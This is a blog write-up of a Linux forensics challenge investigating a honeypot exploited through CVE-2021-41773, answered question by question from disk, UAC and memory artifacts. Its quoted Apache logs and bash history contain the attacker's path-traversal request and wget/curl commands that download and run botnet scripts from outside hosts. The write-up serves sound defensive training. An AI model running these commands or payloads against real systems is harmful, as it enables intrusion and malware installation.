C81 — AzurePot — Writeup

11 min readJun 4, 2023

One more week, one more challenge. This time, we’re jumping into linux forensics world. The author (Twitter — Tyler Hudak (@SecShoggoth)) have prepared a really interesting investigation scenario where a web server was identified running a coinminer malware. The questions will drive us to different investigation techniques and analysis. Let’s dive in.

Scenario

This Ubuntu Linux honeypot was put online in Azure in early October to watch what happens with those exploiting CVE-2021–41773.

Initially, there was a large number of crypto miners that hit the system. You will see one cron script meant to remove files named kinsing in /tmp. This was a way of preventing these miners so more interesting things could occur.

There are three files:

sdb.vhd.gz — VHD of the main drive obtained through an Azure disk snapshot
ubuntu.20211208.mem.gz — Dump of memory using Lime
uac.tgz — Results of UAC running on the system

Items were obtained in the order above — the drive was snapshotted, memory was grabbed, then UAC was run.

As a soc analyst, analyze the artifacts and answer the questions.

Helpful Tools:

FTK Imager
Notepad++
grep
awk

Preparation

Ok, files downloaded and uncompressed. I need to check image information and mount it in my WSL Kali box. Instead of using FTK Imager, I’m using standard Linux commands as seen below with gdisk, losetup and mount. First, create a loop device with losetup, then checking partition scheme and mounting.

# losetup -P /dev/loop0 sdb.vhd-002

# gdisk -l /dev/loop0
GPT fdisk (gdisk) version 1.0.9
Partition table scan:
  MBR: protective
  BSD: not present
  APM: not present
  GPT: present
Found valid GPT with protective MBR; using GPT.
Disk /dev/loop0: 67108865 sectors, 32.0 GiB
Sector size (logical/physical): 512/512 bytes
Disk identifier (GUID): D052DE8C-3B65-4C63-84A4-C2488A6783AD
Partition table holds up to 128 entries
Main partition table begins at sector 2 and ends at sector 33
First usable sector is 34, last usable sector is 62916574
Partitions will be aligned on 2048-sector boundaries
Total free space is 2014 sectors (1007.0 KiB)
Number  Start (sector)    End (sector)  Size       Code  Name
   1          227328        62916574   29.9 GiB    8300
  14            2048           10239   4.0 MiB     EF02
  15           10240          227327   106.0 MiB   EF00

# ls /dev/loop0*
/dev/loop0  /dev/loop0p1  /dev/loop0p14  /dev/loop0p15

The /dev/loop0p1 is the largest partition, containing our Linux files. When mounting the image, I got the following error message:

# mount /dev/loop0p1 /mnt/linux1/
mount: /mnt/linux1: cannot mount /dev/loop0p1 read-only.
       dmesg(1) may have more information after failed mount system call.

After a quick googling (https://linux.die.net/man/8/mount), I found out why. This happens because “Ext3 or ext4 will replay its journal if the filesystem is dirty”:

**-r, --read-only**
Mount the filesystem read-only. A synonym is **-o ro**.
Note that, depending on the filesystem type, state and kernel behavior, the system may still write to the device. For example, Ext3 or ext4 will replay its journal if the filesystem is dirty. To prevent this kind of write access, you may want to mount ext3 or ext4 filesystem with "ro,noload" mount options or set the block device to read-only mode, see command **[blockdev](https://linux.die.net/man/8/blockdev)**(8).

Going back to the basics, mount with read only, and no load to avoid replaying ext journal, we can see the file system files:

# mount -o ro,noload /dev/loop0p1 /mnt/linux1/

# ls /mnt/linux1/
1  bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

Q1) File => sdb.vhd | There is a script that runs every minute to do cleanup. What is the name of the file?

Persistent mechanisms in Linux may be achieved by cron and at. Upon reviewing cron files, I end up with /var/spool/cron/crontabs/root:

...
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
* * * * * /root/.remove.sh

Answer: .remove.sh

Q2) File => sdb.vhd | The script in the Q#1 terminates processes associated with two Bitcoin miner malware files. What is the name of 1st malware file?

Checking the contents of /root/.remove.sh, we will find the two malware names greped by the script:

# cat root/.remove.sh
#!/bin/bash
for PID in `ps -ef | egrep "kinsing|kdevtmp" | grep "/tmp"  | awk '{ print $2 }'`
do
        kill -9 $PID
done
chown root.root /tmp/k*
chmod 444 /tmp/k*

Answer: kinsing

Q3) File => sdb.vhd | The script in Q#1 changes the permissions for some files. What is their new permission?

Check again the script from Q2. The chmod is used to change file permissions:

Answer: 444

Q4) File => sdb.vhd | What is the sha256 of the botnet agent file?

My first strategy here was to check malware present in /tmp folder. For this, I scanned this folder with clamav and I got a lot of hits:

# clamscan -r -i ./tmp/
...
/mnt/linux1/tmp/kinsing_GtESmqpN: Unix.Trojan.Generic-9840604-0 FOUND
/mnt/linux1/tmp/kinsing_MPblTEan: Unix.Trojan.Generic-9840604-0 FOUND
/mnt/linux1/tmp/kdevtmpfsi824415644: Multios.Coinminer.Miner-6781728-2 FOUND
/mnt/linux1/tmp/kinsing_0Su4eq83: Unix.Trojan.Generic-9840604-0 FOUND
/mnt/linux1/tmp/kinsing_a7yZIVeH: Unix.Trojan.Generic-9840604-0 FOUND
...
/mnt/linux1/tmp/Mozi.tm: Unix.Malware.Agent-7464514-0 FOUND
/mnt/linux1/tmp/Mozi.a: Unix.Malware.Agent-7464514-0 FOUND
...
# sha256sum tmp/Mozi.*
d546509ab6670f9ff31783ed72875dfc0f37fa2b666bd5870eecaaed2ebea4a8  tmp/Mozi.a
d546509ab6670f9ff31783ed72875dfc0f37fa2b666bd5870eecaaed2ebea4a8  tmp/Mozi.tm

Since kinsing*, and kdev* were associated with coinminers (Q2), I focused on the other detections Mozi.*, but the answer was wrong. After checking the first hint (-10 points), I executed a new av scan on var/tmp folder:

# sha256sum var/tmp/dk86
0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049 var/tmp/dk86

Answer: 0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049

Q5) File => sdb.vhd | What is the name of the botnet in Q#4?

To find this answer, I’m using OSINT tool VirusTotal to support with the investigation. Let's search in virustotal for the hash:

(https://www.virustotal.com/gui/file/0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049)

Answer: tsunami

Q6) File => sdb.vhd | What IP address matches the creation timestamp of the botnet agent file in Q#4?

First, we need to identify when the botnet agent was created. For this, I’m using stat command from Linux. Several useful information will be displayed, including the creation (birth) date for this file.

# stat var/tmp/dk86
 File: var/tmp/dk86
 Size: 48748 Blocks: 96 IO Block: 4096 regular file
Device: 259,0 Inode: 35170 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 1/ daemon) Gid: ( 1/ daemon)
Access: 2021–11–11 19:09:51.454413754 +0000
Modify: 2021–11–11 19:09:51.454413754 +0000
Change: 2021–11–11 19:09:51.454413754 +0000
 Birth: 2021–11–11 19:09:51.454413754 +0000

Creation timestamp: 2021–11–11 19:09:51

With the date in hands, I checked for ssh connections on /var/log/auth.log*, but it was wrong. Checking for apache logs, we can grep for the time frame identified above:

# pwd
/mnt/linux1

# cd var/log/apache2

# grep "Nov 11 19:09:51" *
error_log:[Thu Nov 11 19:09:51.415917 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(140): [client 141.135.85.36:52014] mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
error_log:[Thu Nov 11 19:09:51.416000 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(63): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): 1 bytes
error_log:[Thu Nov 11 19:09:51.416009 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(103): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): P
error_log:[Thu Nov 11 19:09:51.416016 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(63): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): 65 bytes
error_log:[Thu Nov 11 19:09:51.416023 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(103): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): OST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1\r\n
error_log:[Thu Nov 11 19:09:51.416055 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(140): [client 141.135.85.36:52014] mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
error_log:[Thu Nov 11 19:09:51.416063 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(63): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): 21 bytes
error_log:[Thu Nov 11 19:09:51.416069 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(103): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): Host: 13.82.150.103\r\n
error_log:[Thu Nov 11 19:09:51.416077 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(140): [client 141.135.85.36:52014] mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
error_log:[Thu Nov 11 19:09:51.416084 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(63): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): 27 bytes
error_log:[Thu Nov 11 19:09:51.416090 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(103): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): Accept-Encoding: identity\r\n
error_log:[Thu Nov 11 19:09:51.416098 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(140): [client 141.135.85.36:52014] mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
error_log:[Thu Nov 11 19:09:51.416105 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(63): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): 20 bytes
error_log:[Thu Nov 11 19:09:51.416111 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(103): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): Content-Length: 16\r\n
error_log:[Thu Nov 11 19:09:51.416118 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(140): [client 141.135.85.36:52014] mod_dumpio: dumpio_in [getline-blocking] 0 readbytes
error_log:[Thu Nov 11 19:09:51.416125 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(63): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): 2 bytes
error_log:[Thu Nov 11 19:09:51.416131 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(103): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): \r\n
error_log:[Thu Nov 11 19:09:51.416956 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(140): [client 141.135.85.36:52014] mod_dumpio: dumpio_in [readbytes-blocking] 16 readbytes
error_log:[Thu Nov 11 19:09:51.419641 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(63): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): 16 bytes
error_log:[Thu Nov 11 19:09:51.419657 2021] [dumpio:trace7] [pid 804:tid 139978780616448] mod_dumpio.c(103): [client 141.135.85.36:52014] mod_dumpio: dumpio_in (data-HEAP): echo; /tmp/dk86;
error_log:[Thu Nov 11 19:09:51.467033 2021] [cgi:error] [pid 804:tid 139978780616448] [client 141.135.85.36:52014] AH01215: no crontab for daemon: /bin/bash
error_log:[Thu Nov 11 19:09:51.468329 2021] [cgi:error] [pid 804:tid 139978780616448] [client 141.135.85.36:52014] AH01215: no crontab for daemon: /bin/bash
error_log:[Thu Nov 11 19:09:51.481268 2021] [cgi:error] [pid 804:tid 139978780616448] [client 141.135.85.36:52014] AH01215: no crontab for daemon: /bin/bash
error_log:[Thu Nov 11 19:09:51.481589 2021] [cgi:error] [pid 804:tid 139978780616448] [client 141.135.85.36:52014] AH01215: no crontab for daemon: /bin/bash

Answer: 141.135.85.36

Q7) File => sdb.vhd | What URL did the attacker use to download the botnet agent?

Since this attack was performed exploiting CVE-2021–41773, the commands executed by threat actor during the exploitation will also be on apache logs. Greping for the botnet agent name within var/log/apache2 folder, we will get:

# grep 'http.*/dk86' *
error_log:[Thu Nov 11 19:07:41.956674 2021] [dumpio:trace7] [pid 804:tid 139978797401856] mod_dumpio.c(103): [client 141.135.85.36:51774] mod_dumpio: dumpio_in (data-HEAP): echo; wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &;
error_log:[Thu Nov 11 19:07:41.962142 2021] [cgi:error] [pid 804:tid 139978797401856] [client 141.135.85.36:51774] AH01215: /bin/bash: line 1: `echo; wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &;': /bin/bash
error_log:[Thu Nov 11 19:07:55.978392 2021] [dumpio:trace7] [pid 803:tid 139978789009152] mod_dumpio.c(103): [client 141.135.85.36:51800] mod_dumpio: dumpio_in (data-HEAP): echo; /usr/bin/wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &;
error_log:[Thu Nov 11 19:07:55.984379 2021] [cgi:error] [pid 803:tid 139978789009152] [client 141.135.85.36:51800] AH01215: /bin/bash: line 1: `echo; /usr/bin/wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &;': /bin/bash
error_log:[Thu Nov 11 19:08:22.859342 2021] [dumpio:trace7] [pid 803:tid 139978898114304] mod_dumpio.c(103): [client 141.135.85.36:51858] mod_dumpio: dumpio_in (data-HEAP): echo; /usr/bin/wget -O /tmp/dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x /tmp/dk86; /tmp/dk86 &;
error_log:[Thu Nov 11 19:08:22.865585 2021] [cgi:error] [pid 803:tid 139978898114304] [client 141.135.85.36:51858] AH01215: /bin/bash: line 1: `echo; /usr/bin/wget -O /tmp/dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x /tmp/dk86; /tmp/dk86 &;': /bin/bash
error_log:[Thu Nov 11 19:09:29.415116 2021] [dumpio:trace7] [pid 803:tid 139978805794560] mod_dumpio.c(103): [client 141.135.85.36:51978] mod_dumpio: dumpio_in (data-HEAP): echo; wget -O /tmp/dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86;
error_log:[Thu Nov 11 19:09:29.422700 2021] [cgi:error] [pid 803:tid 139978805794560] [client 141.135.85.36:51978] AH01215: - 2021–11–11 19:09:29 - http://138.197.206.223/wp-content/themes/twentysixteen/dk86: /bin/bash

Answer *URLDEFANG*: hxxp://138[.]197[.]206[.]223/wp-content/themes/twentysixteen/dk86

This is not the correct answer, because it’s defanged.

Q8) File => sdb.vhd | What is the name of the file that the attacker downloaded to execute the malicious script and subsequently remove itself?

Format: .﹡﹡﹡﹡﹡﹡﹡

This question took me a while to find the answer, but checking for b64.php requests in apache error_log file, we get several base64 strings logged into this file. I tried to post a sample, but medium keeps rejecting my code.

Anyways, the base64 string from event of Nov 14 01:14:50 was parsed with CyberChef. The result will end up in the following base64 that will be written to a file named .install.

Let’s dump the base64 strings into Cyberchef:

Parsing this new bas64 encode string, we will end with a shell script where the last line contains:

fi
rm -rf .install

Answer: .install

Q9) File => sdb.vhd | The attacker downloaded sh scripts. What are the names of these files?

Several tools can be used to download files on a Linux machine. If we focus on the most common (IMHO), we can find interesting files being downloaded from the internet using curl, and wget:

# egrep -o "(curl|wget).*\.sh" error_log | sort | uniq
curl -o- http://8****t.sh
curl -s -L http://do*****er.sh
curl -s 19****p.sh
curl -s 45****p.sh
curl -s http://10****n.sh; chmod 777 0_cron.sh; sh 0_cron.sh
curl -s http://10****ux.sh; chmod 777 0_linux.sh; sh 0_linux.sh
curl 2> /dev/null)" ]; t**** }; if [ ! "$(psfunc '.src.sh
curl https://tmpf****k.sh
wget http://19****et.sh;chmod 777 wget.sh;sh wget.sh selfrep.dlink;rm -rf wget.sh
wget http://88****et.sh;chmod 777 wget.sh;sh wget.sh selfrep.dlink;rm -rf wget.sh
wget+ htt****ns.sh
wget+21****s.sh

Matching for the flag pattern Format: ﹡_c﹡﹡﹡.﹡﹡, ﹡_l﹡﹡﹡﹡.﹡﹡, ﹡﹡.﹡﹡, we get our answer.

Answer: 0_cron.sh, 0_linux.sh, ap.sh

Q10) File => UAC | Two suspicious processes were running from a deleted directory. What are their PIDs?

Grep for process where the current working directory (CWD) have the keyword deleted. For this, we will grep the ls_-la_proc.txt from UAC (https://github.com/tclahr/uac) output.

The same information can be collected from lsof_-nPl.txt:

# grep 'cwd.*(deleted)' lsof_-nPl.txt
sleep 6388 1 cwd DIR 8,17 0 528743 /var/tmp/.log/101068/.spoollog (deleted)
sh 20645 1 cwd DIR 8,17 0 528743 /var/tmp/.log/101068/.spoollog (deleted)

Answer: 6388, 20645

Q11) File => UAC | What is the suspicious command line associated with the 2nd PID in Q#10?

Check the ps_auxwww.txt with PID 20645 from Q10, we got:

# grep '20645' ps_auxwww.txt
daemon 20645 0.5 0.0 4632 756 ? S Nov14 181:59 sh .src.sh

Answer: sh .src.sh

Q12) File => UAC | UAC gathered some data from the second process in Q#10. What is the remote IP address and remote port that was used in the attack?

Go to process PID folder and check for environ.txt. By greping for the remote keyword, we have the following:

# cd uac-ApacheWebServer-linux-20211208202503.tar/live_response/process/proc/20645

# grep -i remote environ.txt
REMOTE_ADDR=116.202.187.77
REMOTE_PORT=56590

Answer: 116.202.187.77:5659

Q13) File => UAC | Which user was responsible for executing the command in Q#11?

The process id from Q#11 is 20645. Check for the first column in ps_-deaf.txt, the user value will be the first column:

# grep '20645' ps_-deaf.txt
daemon 6388 20645 0 18:50 ? 00:00:00 sleep 300
daemon 20645 1 0 Nov14 ? 03:01:59 sh .src.sh

Answer: daemon

Q14) File => UAC | Two suspicious shell processes were running from the tmp folder. What are their PIDs?

# grep 'sh.*cwd.*/tmp' lsof_-nPl.txt
sh 15853 1 cwd DIR 8,17 12288 4059 /tmp
sh 20645 1 cwd DIR 8,17 0 528743 /var/tmp/.log/101068/.spoollog (deleted)
sh 21785 1 cwd DIR 8,17 12288 4059 /tmp

Q15) File => ubuntu.20211208.mem | What is the MAC address of the captured memory?

After completing this task, I read other write-ups for this case and from other solvers opinion, the author wanted one solving this case to create a memory image profile an parse the memory image with Volatility. This is one way, but there’s always another way to get the answer. So, let’s do it. Create a strings output from memory file and grep for a MAC pattern. After sorting and printing only the unique values, we get:

# strings -a ubuntu.20211208.mem >> ubuntu.20211208.mem.txt

# egrep -o '([a-f0–9]{2}:){5}[a-f0–9]{2}' ubuntu.20211208.mem.txt | sort | uniq -c
 19 00:00:00:00:00:00
 2 00:1b:0d:e6:57:c0
 4 00:1b:0d:e6:58:40
 353 00:22:48:26:3b:16
 6 ff:ff:ff:ff:ff:ff
```

We can safely ignore `00:00:00:00:00:00` and `ff:ff:ff:ff:ff:ff`, ending up with:

00:1b:0d:e6:57:c0
00:1b:0d:e6:58:40
00:22:48:26:3b:16

By checking the two first values into https://macvendors.com/, the MAC addresses are confirmed to be registered to Cisco Systems.

The last MAC address is assigned to Microsoft. Remember that this environment is running on Azure :)

Answer: 00:22:48:26:3b:16

Q16) File => ubuntu.20211208.mem | From Bash history. The attacker downloaded an sh script. What is the name of the file?

To answer this question, I’m using the same technique as I used in Q9. For this time, I’m only greping for wget.

# egrep '^.{3,40}$' ubuntu.20211208.mem.txt | grep "wget.*\.sh" | sort | uniq -c
 1 cat wget.sh
 2 rm wget.sh
 1 wget http://185.191.32.198/unk.sh
 1 wget http://88.218.227.141/wget.sh
 1 wget.sho

Answer: unk.sh

Final Thoughts

A really interesting case was presented in this scenario, challenging us to use different techniques, strategies and tools to achieve and collect all the flags. For questions 15 and 16, I’ll go again through this memory image and create a volatility profile to try to understand how these questions could be answered leveraging volatility plugins. Thanks for reading.

C81 — AzurePot — Writeup

Final Thoughts

Written by Palmenas Diniz